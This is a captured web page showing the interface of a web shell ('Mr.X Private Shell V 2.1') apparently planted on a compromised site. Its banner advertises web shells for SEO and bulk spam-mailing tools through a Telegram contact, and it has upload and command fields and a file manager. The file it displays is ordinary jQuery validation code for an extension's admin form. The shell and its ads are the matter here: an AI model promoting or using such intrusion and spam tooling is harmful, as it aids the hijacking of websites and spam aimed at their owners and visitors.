__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * 
 * @version             See field version manifest file
 * @package             See field name manifest file
 * @author				Gregorio Nuti
 * @copyright			See field copyright manifest file
 * @license             GNU General Public License version 2 or later
 * 
 */

// detect if jquery is loaded
window.onload = function() {
    if (!window.jQuery) {  
        alert("It appears that you have a misconfiguration in your javascript files. This extension needs jQuery to properly work, so you may experience some issues.");
    }
}

// jquery no conflict declaration
var $j = jQuery.noConflict();

$j(document).ready(function() {
	
	// variables
	var colorError = '#e9322d';
	var boxShadowError = 'inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(233, 50, 45, 0.8)';
    
    // hide empty label container and remove margin
    $j('label.hidden').add('label[id*=hidden]').parent('.control-label').hide();
    $j('label.hidden').add('label[id*=hidden]').parent('.control-label').parent('.control-group').children('.controls').css('margin-left','0');
    
    // check values on input for padding and margin with 4 values
    $j('.input-padding').add('.input-margin').each(function() {
    	
    	var item_id = '#' + $j(this).attr('id');
    	
    	$j(item_id).keyup(function() {
			var content = $j(item_id).val();
			if (content) {
				// count the spaces to detect how many elements there are in the array
				var spaces = (content.split(' ').length - 1);
				if (spaces <= 2) {
					$j(item_id).css('border-color',colorError).css('box-shadow',boxShadowError);
				} else if (spaces >= 4) {
					$j(item_id).css('border-color',colorError).css('box-shadow',boxShadowError);
				} else if (spaces == 3) {
					$j(item_id).css('border-color','').css('box-shadow','');
				}
				// check each element of the array for errors
				var chunks = content.split(' ');
				$j.each(chunks, function(index, value) {
					// if the value is not numeric
					if (!$j.isNumeric(value)) {
						$j(item_id).css('border-color',colorError).css('box-shadow',boxShadowError);
					}
					// if the value starts with 0 and is longer than one character
					if (value.match('^0') && (value.length >= 2) ) {
						$j(item_id).css('border-color',colorError).css('box-shadow',boxShadowError);
					}
				});
			} else {
				$j(item_id).css('border-color','').css('box-shadow','');
			}
		});
		
	});
	
	// check values on input for bootstrap columns
    $j('.input-bootstrap-columns').each(function() {
    	
    	var item_id = '#' + $j(this).attr('id');
    	
    	// allowed numbers for bootstrap columns
    	var allowedNumbers = ['1','2','3','4','6','12'];
    	
    	$j(item_id).keyup(function() {
			var content = $j(item_id).val();
			if (content) {
				if ($j.inArray(content, allowedNumbers) != '-1') {
					$j(item_id).css('border-color','').css('box-shadow','');
				} else {
					$j(item_id).css('border-color',colorError).css('box-shadow',boxShadowError);
				}
			} else {
				$j(item_id).css('border-color','').css('box-shadow','');
			}
		});
		
	});
    
});

Filemanager

Name Type Size Permission Actions
elements Folder 0775
asset.css File 1.08 KB 0664
asset.js File 2.99 KB 0664
Filemanager